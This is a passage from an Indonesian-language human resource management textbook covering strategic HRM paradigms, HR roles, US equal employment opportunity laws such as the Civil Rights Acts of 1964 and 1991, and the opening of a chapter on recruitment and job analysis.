bisnis inti dapat memacu potensi bagi<br />terciptanya hubungan perencanaan strategis dengan sumber daya manusia yang<br />semakin integratis karena memungkinkan dikembangkannya dan diterapkannya<br />program dan sistem sumber daya manusia di seluruh perusahaan.<br />4<br />• Struktur : Penempatan unit sumber daya manusia dalam struktur organisasi, senior<br />eksekutif sumber daya manusia di beri status sama seperti direktur fungsional lainnya<br />• Keterampilan dan Nilai yang dianut eksekutif : Sumber daya manusia memiliki<br />pengetahuan yang baik mengenai bisnis dan mampu memberikan masukan kedalam<br />proses perencanaan strategis.<br />• Keterampilan dan Nilai yang dimiliki Karyawan : bantuan fungsi SDM yang<br />diterima manajemen untuk memecahkan masalah ketenagakerjaan akan menguatkan<br />pentingnya fungsi SDM.<br />• Sistem Manajemen yang meliputi sistem imbalan, sistem komunikasi dan informasi<br />SDM sehingga SDM dan perencanaan strategi akan semakin terintegrasi jika para<br />senior eksekutifnya memiliki persentase yang substansial konpensasi menanggung<br />resiko.<br />• Sistem Komunikasi yang memiliki tujuan membangun kesadaran manajer terhadap<br />tujaun strategis perusahaan dan mendorong mereka mendorong mereka<br />mengembangkan motivasi bawahannya didukdung dengan database SDM yang<br />dikembangkan dengan baik.<br />Menurut Nkomo (1980) evolusi manajemen SDM melewait tiga tahap, yaitu ;<br />1. Defenisi Stage : Yaitu ketika manajer personalia menyelenggarakan programprogaram<br />yang kurang memberikan manfaat untuk kengurangi kekacauan karyawan<br />dan kemungkinan perpecahan.<br />2. Perencanaan Manpower : dalam tahap ini digunakan kebutuhan pekerja dan<br />perekrutan seleksik, training untuk menjamin terpenuhinya target manpower.<br />3. Manajemen SDM Strategis Ketika manajer SDM seharusnya lebih proaktif dalam<br />memecahakan masalah manajemen perusahaan dan dalam memberikan kontribusi<br />efektivitas organisasional yang lebih besar.<br />E. Paradigma Lama MSDM<br />Manajemen Sumber Daya Manusia yang biasanya disebut manajemen personalia,<br />selama ini memiliki fungsi spesialisasi yang berkaitan dengan kegiatan adaministrasi<br />bagian karwayan,yaknidalam masalah dengan perekrutan, pelatihan dan pengupahan dan<br />5<br />sebagainya. Hasil yang diperoleh dari pengelolaan SDM yang baik dapat dipastikan<br />bahwa karyawan yang direkrut telah memenuhi kriteria yang dibutuhkan sesuai dengan<br />kebutuhan bagian produksi, bagian fungsional lainnya dan menerima imbalan yang<br />sesuai.<br />Di sini terlihat bahwa paradigma lama dari manajemen SDM lebih banyak<br />melayani manajemen fungsional yang lain dalam organisasi, seperti fungsi pemasarna,<br />keuangan, produksi atau lainnya.<br />Dengan berubahnya lingkungan bisnis yang diakibatkan oleh perubahan teknologi<br />serta dampak globalisasi, maka merupakan keharusan bagi manajemen SDM untuk<br />merubah perannya gar memiliki fungsi yang lebih strategi dalam organisasi. Oleh sebab<br />itu departemen SDM harus menajalankan peran baru dan berkerjasama dengan menajer<br />lini lainnya untuk membuat perencanaan secara terpadu yang sesuai dengan kebutuhan<br />organisasi. Perencanaan secara terpadu yang sesuai dengan kebutuhan organisasi.<br />Perubahan tersebut terjadi berkaitan dengan (Schuler, 1990).<br />1. Perubahan lingkungan bisnis yang sangat cepat dan tingginya tingkat ketidakpastian<br />2. Kemauan beradaptasi secara cepat untuk memprediksi perubahan yang tidak terduga<br />3. Peningkatan biaya, karena persaingan untuk memperoleh keuntungan yang tinggi.<br />4. Perubahan teknologi yang cepat menyebabkan meningkatnya permintaan karyawan<br />dengan skill yang lebih baik melalui pendidikan dan pelatihan.<br />5. Organisasi lebih kompleks berkaitan dengan produk, geografi, fungsi bisnis maupun<br />konsumen (pasar).<br />6. Respon terhadap kekuatan eksternal berkaitan dengan perundang-undang dan<br />religulasi, proses peradilan, serta peraturan lainnya.<br />7. Perubahan struktur organisasi yang lebih fleksibel, lebih rata (flater) dan lebih<br />(leaner) menyebabkan jumlah karyawan dan tipe pekerjaan yang dihadapi berbeda.<br />8. Meningkatnya persaingan dan kerjasama internasional<br />9. Terdapat diversitas dari angkatan kerja<br />Akibat perubahan-perubahan tersebut, SDM harus mampu beradaptasi dengan<br />cepat untuk memprediksi perubahan yang tidak terduga dengan perubahan paradigma<br />lama ke paradigma baru karena perubahan tersebut juga, menyediakan kesempatan baik<br />bagi manajemen SDM maupun manajer lini.<br />6<br />Tabel 1.1. pergeseran paradigama Depertemna SDM<br />Faktor Paradigma lama Paradigma baru<br />Sasaran • Keuntungan<br />• Produktivitas<br />• Individual<br />• Kepuasan konsumen<br />• Kualits<br />• Team<br />Desain pekerjaan • Efiesien<br />• Produktivitas<br />• Standar<br />• Kualitas<br />• Costomization<br />• Inovasi<br />Struktur • Sentralisasi<br />• Sedikit keterlibatan<br />manajer lini<br />• Persaingan<br />• Desentralisasi<br />Komunikasi Satu arah<br />Top down<br />Fokus ke struktur<br />Organisasi<br />Dua arag<br />Bottom up<br />Fokus ke SDm<br />Dasar kompensasi Kinerja individual Team atau Group<br />Sumber : Diolah dari Blackburn & Rossen (1993) dan Marco (1997)<br />F. Paradigma Baru MSDM<br />Perubahan lingkungan bisnis yang sangat cepat dan komplek seperti demografi,<br />geografis, jenis bisnis, lingkungan hidup, serta dampak globalisasi, mengharuskan<br />organisasi untuk beradaptasi secara cepat dengan lingkungan yang turbulens dengan<br />bersikap proaktif. Artinya manajeman SDM harus mampu mengantisipasi berbagai<br />perkembangan yang sedang dan akan terjadi, kemudian melakukan berbagai tindakan<br />untuk menjawab tantangan tersebut, yang pada akhirnya dapat menciptakan keunggulan<br />kompetitif yang tidak dimiliki oleh organisasi lainnya, mengingat bentuk-bentuk<br />kompetisi tradisional seperti biaya produksi rendah, peningkatan teknologi, kecepatan<br />distribusi, efisisensi produk serta pengembangan produk yang berkualitas akan mudah<br />ditiru oleh pesaing.<br />7<br />Dengan tuntutan seperti ini, merupakan keharusan bagi MSDM untuk merubah<br />peranannya yang berorientasi pada “result”. Dengan demikian Departemen MSDM harus<br />berperan sebagai mita bagi manajemen fungsional lainnya atua dengan manajer lini,<br />artinya MSDM harus terlibat aktif dalam perencanaan, pengelolaan serta pengendalian<br />organisasi yang berkaitan dengan alokasi dan pengembangan SDM. Perubahan peran<br />tersebut dari sistem kerja yang responsive menjadiproaktif, dan sktruktur fungsional ke<br />struktur yang lebih fleksibel danmelaksankan kebijakan strategis. Hal ini menjadi sumber<br />daya manusia mempunyai peran penting untuk kesuksesan bisnis yang dikaitkan dengan<br />peningkatan laba, kemampuan bersaing, daya adaptasi juga fleksibelitas.<br />Tabel 1.2. Perubahan Fungsi Departemen SDM<br />Keterangan Spesialisasi Fungsional Mitra Bisnis<br />Sistem kerja Responsif / reaktif Proaktif<br />Sudut pandang Operasional harian Strategi<br />Lingkup perhatian Internal Dep. Lebih ke<br />karyawan<br />Komprehensif perusahaan<br />Organisasi fungsi<br />MSDM<br />Struktur fungsional Sturktur fleeksibel<br />Kebijakan Strategis<br />MSDM<br />Dept MSDM Mempunyai<br />tanggung jawab lebih besar<br />Menjadi tanggung jawab<br />bersama antar manajer<br />lini dan Dept. SDM<br />Fungsi oprasional Menjawab visi manajemen<br />tentang perubahan<br />Secara proaktif<br />menciptakan dan<br />menangani akibat<br />perubahan<br />Fokus perhatian Mas akini Masa datang<br />Sudut pandang Bsifat nasional Bersifat global<br />Sumber : Widyarto, 1996<br />8<br />G. Peran MSDM Untuk Meraih Keunggulan Kompetitif<br />Agar tujuan sumber daya manusia memberikan kontribusi yang lebih besar bagi<br />organisasi untuk meraih keunggulan kompetitif diperlukan strategi yang tepat dalam<br />perencanaan SDM secar terpadu. Kegiatan dari strategi SDM didasarkan kerjasama antar<br />departemen SDM secara terpadu. Kegiatan dri strategi SDM didasarkan kerja sama antar<br />departemen SDM dngan manajer lini serta keterlibatan manajemen puncuk dalam<br />menjelaskan visi dan misi organisasi yang dapt dijabarkan dalam tujuan bisnis yang<br />strategi.<br />Tujuan utama sri strategi ini sangatr meningkatkan kinerja sekarang dan yang<br />akan datang secara berkesinambungan sehingga dapat mempertahankan keunggulan<br />kompetitifnya. Proses pengembangan stategi MSDM memberikan keuntungan bagi<br />organisasi, yaitu :<br />a. Mendefenisikan kesempatan kendala MSDM dalam mencapai tujuan bisnisnya<br />b. Memperjelas gagasan baru terhadap isu-isu MSDM yang berorientasi pada hasil dan<br />memberi persepktif yang lebis luas<br />c. Melakukan tes komitmen manajemen pada kegiatan, menciptakan proses<br />pengalokasian SDM untuk program dan kegiatan yang spesifik<br />d. Memfokuskan pada kegiatan jangka panjang yang dipilih dengan mempertimbangkan<br />prioritas pertama untuk 2 atua 3 tahun mendatang.<br />e. Melakukan strategi yang memfokuskan pada pengelolaan fungsi SDM dan<br />pengembangan staff yang berkat.<br />Departemen SDM dapat menciptakan keunggulan kompetitif dengan empat<br />pendekatan,yakni:<br />1. Strategic Patner menjadi mitra menajer senior dan manajer lini dalam melaksanakan<br />strategi yang telah direncanakan, menterjemahkan strategi bisnis ke dlaam tindakan<br />nyata dengan diagnosis organisasi, yakni sistem penilaian (assessmen) dan<br />pengabungan praktek organisasi dengan tujuan bisnis yang dapat dibentuk pada setiap<br />level organisasi.<br />9<br />2. Administrasi Expert, Menjadi ahli dalam mengatur pelaksanaan pekerjaan serta<br />efisiensii adaministrasi agar dihasilkan output denganbiaya rendah namum kualitas<br />terjamin. Uapaya ini dapat dilakukan dengan rekayasa ualng (reengineering),<br />termasuk merekayasa kembali bidang SDM. Menjadi pakar administrasi perlu<br />menguasai dua fase rekayasa kembali. Pertama, proses perbaikan, menfokuskan pada<br />indentifikasi proses-proses yang tidak efektif dan merencanakan metode alternatif<br />untuk meningkatkan kualitas pelayanan. Kedua memikirkan penciptaan ulang<br />(rethinking value creation values) yang prosesnya dimulai pelanggan. Sehingga dapat<br />mengubah focus kerja dari apa yang dapat dilakukan menjadi apa yang harus<br />dihasilkan.<br />3. Employee Champion, menjadi penengah antara karyawan dan manajemen untuk<br />memenuhi kepentingan dua belah pihak. Dengan persaingan bisnis yang semakin kuat<br />menyebabkan tuntutan menajemen terhadap karyawan semakin tinggi. Oleh karena<br />menajer lini harus memperhatikan keadaan karyawan yang berkaitan dengan.<br />Pertama, kurangi tuntutan (demand) dengan cara mengurangi beban kerja dan<br />menyeimbangkan dengan sumber daya yang dimiliki oleh karyawan. Kedua,<br />tingkatan sumber daya dengan membantu karyawan mendefenisikan sumber daya<br />baru (dalam dari karyawan) sehingga mereka dapat menyesuaikan diri dengan<br />kebuthan organisasi. Ketiga,mengubah tuntutan menjadi sumber daya dengan cara<br />membantu karyawan mempelajari transformasi demand ke dalam sumber daya.<br />4. Chang Agent, menjadi agent perubahan, mempertajam proses dan budaya yang dapat<br />meningkatkan kapasitas organisasi untuk berubah. Terdapat tiga tipe perubahan yaitu<br />: pertama, perubahan inisiatif, memfokuskan pada penerapan program, proyek tau<br />prosedur baru. Kedua perubahan proses dalam organisasi dengan memfokuskan<br />kepada cara bagaimana melakukan kerja sama optimal. Ketiga, perubahan budaya<br />akan terjadi jika strategi dasar organisasi bisnis dikonseptualkan kembali.<br />Keempat hal tersebut merupakan peran baru dari Departemen MSDM yang<br />akan dapat meraih keunggulan kompetitif dengan kerja sama dengan manajer lini dan<br />manajer pucak. Keunggulan kompetitif akan dicapai dengan tiga strategi yaitu : inovasi<br />(innovation), peningkatan kualitas (quaity enhancement) serta penurunan biaya (cost<br />reduction).<br />10<br />BAB II<br />EQUAL EMPLOYMENT OPPORTUNITY<br />(PELUANG KERJA YANG SAMA)<br />A. The Civil Rights Act Of 1991<br />Perundang-undangan menghindari diskriminasi terhadap anggota-anggota<br />kelompok minoritas di amerika serikat bukan merupakan hal baru. Sebagai contoh<br />amandemen kelima dalam konstitusi AS menetapkan bahwa tidak ada orang yang akan<br />kehilangan hidup, kemerdekaan, atau hak milik tanpa proses hukum. Amandemen<br />ketigabelas menyatakan perbudakan tidak sah dan telah digunakan oleh pengadilan untuk<br />menghambat diskriminasi rasial. Amandemen keempatbelas mengilegalkan negara<br />bagianmanapun untuk membuat atau menjalankan undang-undangapapun yang<br />mempersingkat hak istimewa dan kekebalan warga negara amerika serikat. Dan<br />pengadilan pada umumnya sudah memandang undang-undang ini sebagai penghambatan<br />diskriminasi berdasarkan jenis kelamin atau negar aasal juga ras. Undang-undang lain<br />seperti juga keputusan-keputusan pengadilan membuat diskriminasi terhadap minoritas<br />menjadi ilegal sejak awal sekali peralihan abad<br />Tetapi sebagai satu hal praktis congress dan banyak presiden merasa enggan<br />untuk mengambil tindakan dramatik terhadap masalah kesamaan peluang kerja sampai<br />awal 1960 an. Dalam hal ini mereka akhirnya didorong untuk bertindak pertama-tama<br />sebagai akibat dari kegelisahan sipil dikalangan minoritas dan wanit ayang akhirnya<br />menjadi terlindungi oleh perundang-undangan kesamaan hak yang baru dan perwakilanpewakilan<br />diciptakan untuk mengimplementasikan dan menjalankannya.<br />B. Civil Right Act 1964<br />Apa yang dikatakan oleh undang-undang pasal VII dari undang-undang hak sipil<br />1964 adalah salah satu yang pertama dari undang-undang baru ini. Pasal VII menetapkan<br />bahwa seorang majikan tidak dapat melakukan diskriminasi berdasarkan ras, warna kulit,<br />agama, jenis kelamin, atau negeri asal individu tersebut. Membatasi, memisahkan atau<br />11<br />mengklasifikasikan karyawannya atau pelamar-pelamar untuk pekerjaan sedemikian<br />sehingga akan memperkecil peluang individu mana saja dari peluang-peluang kerja atau<br />sebaliknya mempengaruhi secara merugikan statusnya sebagai karyawan, karena ras,<br />warna kulit, agama, jenis kelamin atau negara asal.<br />C. Equal Pay Act 1963<br />Undang-undang pembayaran yang sama tahun 1963 membuat tidak sahnya<br />diskriminasi dalam pembayaran berdasarkan pada jenis kelamin bila jabatan-jabatan itu<br />menuntut pekerjaan yang sama, keterampilan, usaha, dan tanggung jawab yang sama dan<br />dijalankan dalam kondisi kerja yang sama. Akan tetapi perbedaan-perbedaan dalam<br />pembayaran itu tidak melanggar undang-undang jika perbedaan itu didasarkan pada<br />sebuah sistem senioritas, jasa, sebuah sistem yang mengukur perolehan berdasarkan<br />kuantitas atau kualitas produksi atau suatu pembedaan yang didasarkan pada faktor<br />apasaja selain jenis kelamin.<br />D. Age Discrimination In Employment Act 1967<br />Diskriminasi usia dalam undang-undang kerja tahun 1967 membuat tidak sah<br />pendiskriminasian terhadap karyawan atau pelamar pekerjaan yang berusia antara 40<br />dan65 tahun. Ketika diamandemenkan oleh congress pada tahun 1978 undang-undang<br />memperluas proteksi sampai ke usia 70 tahun untuk kebanyakan pekerja dan tanpa batas<br />paling tinggi untuk karyawan pemerintah federal.<br />Sebuah pengaturan pengadilan tinggi tahun 1973 menegaskan bahwa kebanyakan<br />perwakilan negara bagian dan lokal ketika bertindak dalamperan sebagai majikan harus<br />juga taat pada provisi dari undang-undang yang melindungi karyawan dari diskriminasi<br />usia.Tindakan-tindakan berikutnya oleh congress telah menghapuskan 70 tahun sebagai<br />batas usia tertinggi secara efektif mengakhiri kebanyakan kewajiban pengunduran diri.<br />Seperlima dari tindakan-tindakan pengadilan yang disimpan oleh EEOC adalah kasus<br />ADEA. Undang-undang ini adalah undang-undang kesayangan di kalangan karyawan dan<br />ahli hukum karena memungkinkan pemeriksaan hakim dan menggandakan kerugian bagi<br />mereka yang menunjukkan diskriminasi yang disengaja.<br />12<br />E. Vocational Rehabilitation Act 1973<br />Undang-undang rehabilitasi kejuruan 1973 meuntut karyawan dengan kontrakkontrak<br />federal untuk mendapatkan tindakan afirmatif untuk pekerjaan dari orang-orang<br />yang cacat. Undang-undang ituntidak menuntut bahwa seorang pribadi yang memenuhi<br />persyaratan dipekerjakan. Ynag dituntut adalah bahwa seorang majikan mengambil<br />langkah untuk menampungseorang pekerja cacat kecuali jika dengan melakukan itu dia<br />membawa suatu kesukaran yang tidak semestinya pada majikan. Sebuah pengadilan<br />distrik federal baru-baru ini menegaskan bahwa kerusakan sebagai imbalan untuk<br />kerugian keuangan masa depan, kesulitan emosional, penderitaan, ketidaknyamanan,<br />tekanan mental, kehilangan kegembiraan hiduop dan kehilangan non keuangan lain<br />tersedia di bawah undang-undang rehabilitasi tahun 1973.<br />F. Vietnam Era Veterans’ Readjustment Assistance Act 1974.<br />Ketentuan dari undang-undang penyesuaian diri kaum veteran era vietnam 1974<br />menuntut bahwa para majikan dengan kontrak pemerintah atau lebih mengambil tindakan<br />afirmatif untuk mempekerjakan dan memajukan veteran penyandang cacat dan veteranveteran<br />yang memenuhi sarat dari era perang vietnam. Undang-undang itu diatur oleh<br />OFCCP.<br />G. Pregnancy Discrimination Act 1978<br />Congress mengesahkan undang-undang diskriminasi kehamilan tahun 1978<br />sebagai suatu amandemen terhadap undang-undang hak sipil 1964 Undang-undang itu<br />memperluas definisi tentang diskriminasi jenis kelamin yang mencakup kehamilan,<br />kelahiran bayi atau kondisi medis terkait. Undanundang tersebut juga menghambat<br />penggunaan semua ini untuk diskriminasi dalam mempekerjakan karyawan, promosi,<br />penskorsan atau pemutusan hubungan pekerjaan. Pada dasarnya undang-undang<br />mengatakan bahwa jika seorang majikan menawarkan jaminan kepada karyawannya yang<br />tak mampu, kehamilan atau kelahiran bayi harus diperlakukan seperti ketidakmampuan<br />lainnya dan harus termasuk dalam rencana sebagai suatu kondisi yang dijamin.<br />13<br />Pengadilan tinggi AS mengatur dalam california federal savings and loan association.<br />Bahwa seorang majikan tidak menawarkan cuti ketidakmampuan kepada siapapun<br />karyawannya dia dapat memberikan cuti hamil keopada seorang wanita yang memintanya<br />bila dia tidak mampu karena kehamilan, kelahiran bayi, atau kondisi medis terkait<br />walaupun pria tidak mendapatkan kesejahtraan sebanding<br />Keputusan pengadilan Tinggi seperti Wards Cove dan Patterson memiliki efek yang<br />membatasi perlindungan terhadap wanita dan kelompok minoritas dibawah undangundang<br />employment yang sama, ini mendorong Congress untuk mengajukan Undangundang<br />hak sipil yang baru pada tahun 1991. Undang-undang Hak sipil 1991 (CRA 1991)<br />kemudian disahkan menjadi undang-undang oleh Presiden bush pada bulan november<br />1991. Efek dasar CRA 1991 adalah untuk membalikkan beberapa keputusan pengadilan<br />tinggi AS. Selanjutnya efeknya tidak hanya sekadar memutar kembali jarum jam kesaat<br />keputusan-keputusan pengadilan tinggi ini terjadi. Efeknya adalah menambah perundangundangan<br />tambahan yang membuatnya bahkan lebih penting sehingga karyawan dan<br />manajer serta penyelia mereka taat baik kepada semangat maupun huruf dari undangundang<br />EEO.<br />Provisi utama undang-undang tersebut :<br />1. Tanggung Jawab Pengajuan Bukti-Burden Of Proof (Wards Cove). Sebelum<br />wards cove proses jalannya perkara employment yang sama pada dasarnya berjalan :<br />Penggugat harus menunjukkan bahwa praktik employment memiliki dampak yang<br />berbeda pada kelompok tertentu. Sebagai contoh suatu persyaratan bahwa karyawan<br />harus mampu mengangkat barang-barang berat mungkin secara tak sengaja<br />melakukan diskriminasi terhadap kaum wanita. Selanjutnya begitu penggugat<br />memperlihatkan dampak berbeda tersebut, majikan harus menunjukkan bahwa<br />praktik yang ditantang adalah berkaitan dengan jabatan untuk posisi yang<br />dipersoalkan. Sebagai contoh majikan harus memperlihatkan bahwa persyaratan<br />mampu mengangkat berat sesungguhnya dituntut untuk posisi yang diminta dan<br />bahwa bisnis tidak dapat berjalan secara efisien tanpa persyaratan itu. Dalam wards<br />cove, Pengadilan Tinggi mengatakan bahwa pengajuan bukti tidak lagi pada majikan<br />untuk membuktikan bahwa persyaratan (mampu mengangkat berat) adalah suatu<br />keperluan bisnis. Majikan hanya harus memperlihatkan suatu pembenaran bisnis dan<br />14<br />selanjutnya pengajuan bukti beralih ke penggugat. Penggugat selanjutnya harus<br />membuktikan bahwa persyaratan itu dikemukakan untuk secara sengaja melakukan<br />diskriminasi terhadap anggota kelompok minoritasnya. Ini sulit bagi penggugat untuk<br />melakukannya. Undang-undang hak sipil tahun 1991 menolak posisi pengadilan dan<br />pada dasarnya memutar kembali jarum EEO kesaat sebelum words cove berkenaan<br />dengan masalah ini. Dengan penerimaan CRA 1991 tanggung jawab ini sekali lagi<br />ada pada pihak majikan untuk menunjukkan keperluan bisnis bukan hanya<br />pembenaran bisnis.<br />2. Kerugian Uang-Money Damages.<br />Bagian undang-undang hak sipil yang baru mengemukakan bahwa seorang karyawan<br />yang menuntut diskriminasi yang disengaja dapat menuntut kerugian kompensatori<br />dan kerugian punitif jika dapat diperlihatkan majikan terlibat dalam diskriminasi<br />karena pengabaian yang sembrono terhadap hak-hak yang dilindungi secara federal<br />dari individu yang dirugikan. Ini adalah perubahan yang diputuskan dari kondisi yang<br />berlaku sampai tahun 1991. Korban dari diskriminasi sengaja, yang tidak menderita<br />kerugian keuangan dan yang menggugat berdasarkan pasal VII tidak lagi dapat<br />menuntut kerugian kompensatori atau punitif. Yang dapat mereka harapkan adalah<br />mendapatkan kembali pekerjaan mereka. Mereka juga memenuhi sarat untuk<br />mendapat pembayaran kembali, biaya pengacara, dan biaya pengadilan. Korbankorban<br />dari diskriminasi ilegal sekarang termasuk pelecehan seksual dapat juga<br />menuntut kerugian kompensatori dan punitif. Ini tentu saja menaikkan taruhan bagi<br />para majikan. Itu membuat lebih mungkin bahwa banyak majikan akan menjadi lebih<br />cenderung menyelesaikan tuntutan diskriminasi diluar pengadilan. Dan itu tentu saja<br />lebih memungkinkan para majikan untuk menjadi lebih sadar tentang menghindasri<br />kondisi yang menyebabkan tunutan tersebut.<br />3. Mempekerjakan dan promosi berdasarkan undang-undang hak sipil tahun<br />1866 (Patterson)<br />Ada beberapa keuntungan untuk menggugat berdasarkan undang-undang hak sipil<br />tahun 1866 seksi 1981. Dalam kasus patterson pengadilan tinggi AS menegaskan<br />bahwa undang-undang itu tidak melindungi karyawan yang begitu diangkat langsung<br />didiskriminasi misalnya dalam promosi atau pemberhentian. Undang-undang hak<br />15<br />sipil tahun1991 menolak keputusan patterson dan secara eksplisit menetapkan bahwa<br />seksi 1981 berlaku untuk semua contoh dari diskriminasi rasial dan etnik di tempat<br />kerja bahkan jika terjadi sesudah dipekerjakan.<br />4. Motif-motif yang tercampur –Mixed Motives (Price Waterhoue)<br />Pengadilan tinggi memutuskan bahwa jika sebuah keputusan personal diambil<br />berdasarkan alasan-alasan non diskriminasi kenyataan bahwa ada juga alasan<br />diskriminasi untuk keputusan itu tidak cukup untuk membuktikan adanya<br />diskriminasi undang-undang hak sipil tahun 1991 dipihak lain menetapkan bahwa<br />suatu praktik employment yang tidak sah terjadi bila pihak yang mengajukan keluhan<br />menunjukkan bahwa ras, warnakulit, agama, jenis kelamin, atau negeri asal<br />merupakan faktor motivasi baik praktik employment mana saja, walaupun faktorgaktor<br />lain juga memotivasi praktik itu. Dengan kata lain berdasarkan undang-undang<br />hak sipil seorang majikan tidak dapat lagi menghindari pertanggungjawaban dengan<br />membuktikan bahwa tindakan yang sama akan diambil bahkan tanpa motif<br />diskriminasi<br />5. Dekrit persetujuan –Consent Decrees ( Martin wilke)<br />Efek dari martin adalah mengizinkan individu-individu yang terlibat dalam dekrit<br />persetujuan tindakan afirmatif untuk selanjutnya menggugat majikan atas<br />diskriminasi yang sebaliknya. CRA 1991 membalikan keputusan itu. Khususnya<br />individu-individu yang mempunyai perhatian aktual atas dekrit persetujuan pada<br />waktu itu untuk membeberkan keberatan atau diwakili oleh seseorang yang<br />kepentingannya sama dengan kepentingan mereka pada waktu itu tidak dapat kembali<br />bertahun-tahun kemudian untuk menyerang dekrit persetujuan. Dekrit itu sering<br />digunakan untuk melembagakan program tindakan alternatif akan sulit untuk<br />diajukan lagi.<br />6 Karyawan diluar Negeri-Overseas Employment (Arabian American Oil<br />Company)<br />Mengingat bahwa dalam kasus ini pengadilan tinggi menetapkan bahwa undangundang<br />hak sipil 1964 tidak berlaku di luar ameriak serikat. CRA 1991 mengatakan<br />bahwa memang demikian. Khususnya itu sekarang berlaku untuk karyawan<br />perusahaan AS di negara asing bila individu itu adalah warga negara AS.<br />16<br />7. Seksi lain dari CRA 1991<br />Undang-undang hak sipil ini mengandung dua seksi lagi yang mempengaruhi undangundang<br />employment. Pertama seksi 107 dari undang-undang ini dapat sesunguhnya<br />lebih mempersulit kelompok minoritas untuk membuktikan adanya diskriminasi.<br />Seksi ini mengatakan bahwa skor tes tidak dapat disesuaikan dengan menganti hasil<br />dari tes-tes yang berkaitan dengan employment berdasarkan ras, warna kulit, agama,<br />jenis kelamin atau negara asal. Sampai sekarang beberapa majikan mungkin telah<br />membiarkan pelamar minoritas yang mendapat penilaian. Penilaian seperti itu tidak<br />lagi diizinkan berdasarkan CRA 1991.<br />Akhirnya, CRA 1991 bisa berubah menjadi tembakau besar pertama dalam perang<br />untuk menerobos langit-langit kaca kumpulan dari hambatan-hambatan yang sulit dan<br />barangkali tidak sengaja dan tidak mencolok sehingga sering menghambat wanita dan<br />minoritas dari kemajuan dalam kerja. Hambatan dalam langit-langit kaca mungkin<br />termasuk misalnya keanggotaan klub golf dan perjalanan-perjalanan untuk permainan<br />sepakbola bagi para manajer pria terhadap kegiatan-kegiatan ini wanita dan minoritas<br />sering dilarang secara tidak resmi. Undang-undang hak sipil tahun 1991 tidak<br />mencabut perlindungan hukum atas langit-langit kaca tersebut. Akan tetapi, dia<br />menetapkan satu komisi untuk mengkaji persoalan ini.<br />17<br />BAB III<br />FUNGSI PENGADAAN<br />ANALISA JABATAN<br />A. Pentingnya Pengadaan<br />Pengadaan ( procurement ) adalah merupakan fungsi operasional yang utama dari<br />MSDM. Pengadaan tenaga-kerja ini merupakan masalah yang penting, sulit, & kompleks<br />karena untuk mendapatkan dan menempatkan orang-orang yang kompeten, serasi serta<br />efektif tidaklah semudah membeli & menempatkan mesin.<br />Tenaga-kerja adalah asset utama perusahaan yang menjadi perencana dan juga<br />pelaku aktif dari setiap aktivitas dalam organisasi. Mereka mempunyai pikiran, perasaan,<br />keinginan, status dan latar belakang pendidikan, usia, jenis kelamin yang heterogen,<br />dibawa kedalam organisasi perusahaan; bukan seperti mesin, uang, & material yang<br />sifatnya pasif dan dapat dikuasai serta diatur sepenuhnya guna mendukung tercapainya<br />tujuan perusahaan.<br />Tenaga-kerja yang cakap, mampu, dan trampil belum menjamin produktivitas<br />kerja yang baik bila moral kerja & kedisplinannya rendah. Mereka baru dapat dikatakan<br />bermanfaat serta mendukung terwujudnya tujuan perusahaan bila mereka berkeinginan<br />tinggi untuk menciptakan prestasi. Dan tenaga-kerja yang kurang mampu, tidak cakap, &<br />tidak trampil akan mengakibatkan pekerjaan tersebut tidak dapat selesai tepat pada<br />waktunya.<br />Kualitas dan kuantitas para tenaga-kerja juga harus disesuaikan dengan kebutuhan<br />perusahaan agar tujuan dapat tercapai secara efektif dan juga efisien. Penempatan tenagakerja<br />juga harus tepat sesuai dengan kemampuan & ketrampilan yang dimilikinya.<br />Sehingga gairah kerja dan kedisplinannya akan lebih baik dan efektif guna menunjang<br />terwujudnya tujuan organisasi/perusahaan.<br />Pengadaan tenaga-kerja ini haruslah didasarkan pada prinsip apa,barulah<br />kemudian disusul dengan siapa. Apa maksudnya kita harus terlebih dahulu menetapkan<br />pekerjaan-pekerjaannya berdasarkan uraian pekerjaan (job description). Sedangkan siapa<br />18<br />maksudnya adalah kita akan mencari orang-orang yang tepat untuk menjabat di posisi<br />tersebut yang didasarkan pada spesifikasi pekerjaan (job specification).<br />Pengadaan tenaga-kerja yang berdasarkan pada siapa yang kemudian barulah<br />disusul dengan apa ini akan menimbulkan mismanajemen didalam menempatkannya.<br />Penempatan tenaga-kerja yang jauh diluar batas kemampuannya akan mengakibatkan<br />moral kerja dan tingkat kedisiplinan yang rendah. Jadi kita harus menempatkan seorang<br />karyawan itu sesuai dengan kemampuan yang dimilikinya serta memberikan pekerjaan<br />yang juga disenanginya.<br />Berdasarkan uraian diatas, maka kita telah mendapatkan gambaran tentang<br />bagaimana pentingnya pengadaan tenaga-kerja ini. Agar lebih jelas lagi, di bawah ini<br />diberikan beberapa definisi mengenai pengadaan tenaga-kerja.<br />Pengadaan adalah proses penarikan, seleksi, penempatan, orientasi, & induksi<br />untuk mendapatkan tenaga-kerja yang secara efektif & efisien mampu mendukung<br />tercapainya tujuan perusahaan. Pengadaan tenaga-kerja merupakan langkah utama guna<br />mencerminkan berhasil-tidaknya suatu perusahaan dalam mencapai tujuannya. Jika<br />tenaga-kerja yang diterima berkompeten, maka usaha untuk mewujudkan tujuan relatif<br />mudah. Sebaliknya bila tenaga-kerja yang diperoleh kurang memenuhi persyaratan, maka<br />akan sangat sulit bagi perusahaan untuk mencapai tujuannya.<br />Pengadaan tenaga-kerja ini harus mendapatkan perhatian yang serius serta<br />didasarkan kepada analisa jabatan (job analysis), uraian pekerjaan (job description),<br />spesifikasi pekerjaan (job specification), persyaratan pekerjaan (job requirement) dan<br />evaluasi pekerjaan (job evaluation), bahkan perlu juga untuk mempertimbangkan<br />pemerkayaan pekerjaaan (job enrichment), perluasan pekerjaan (job enlargement), dan<br />penyederhanaan pekerjaan (job simplification).<br />Perekrutan calon tenaga-kerja hendaknya dilakukan dengan baik agar tenaga-kerja<br />yang diterima sesuai dengan kebutuhan pekerjaan yang akan dilakukannya.<br />19<br />B. Analisa Jabatan (job analysis)<br />Analisa jabatan (job analysis) ini perlu dilakukan agar kita dapat mendesain<br />organisasi & menetapkan uraian pekerjaan, spesifikasi pekerjaan serta evaluasi pekerjaan.<br />Analisa jabatan adalah menganalisis & mendesain pekerjaan-pekerjaan apa saja<br />yang harus dikerjakan, bagaimana mengerjakannya, dan mengapa pekerjaan itu harus<br />dilakukan. Analisa jabatan akan memberikan informasi mengenai uraian pekerjaan,<br />spesifikasi pekerjaan dan evaluasi pekerjaan bahkan kita juga dapat memperkirakan<br />pemerkayaan pekerjaan, perluasan pekerjaan, dan penyederhanaan pekerjaan pada masa<br />yang akan datang.<br />Analisa jabatan dapat juga diartikan sebagai informasi tertulis mengenai<br 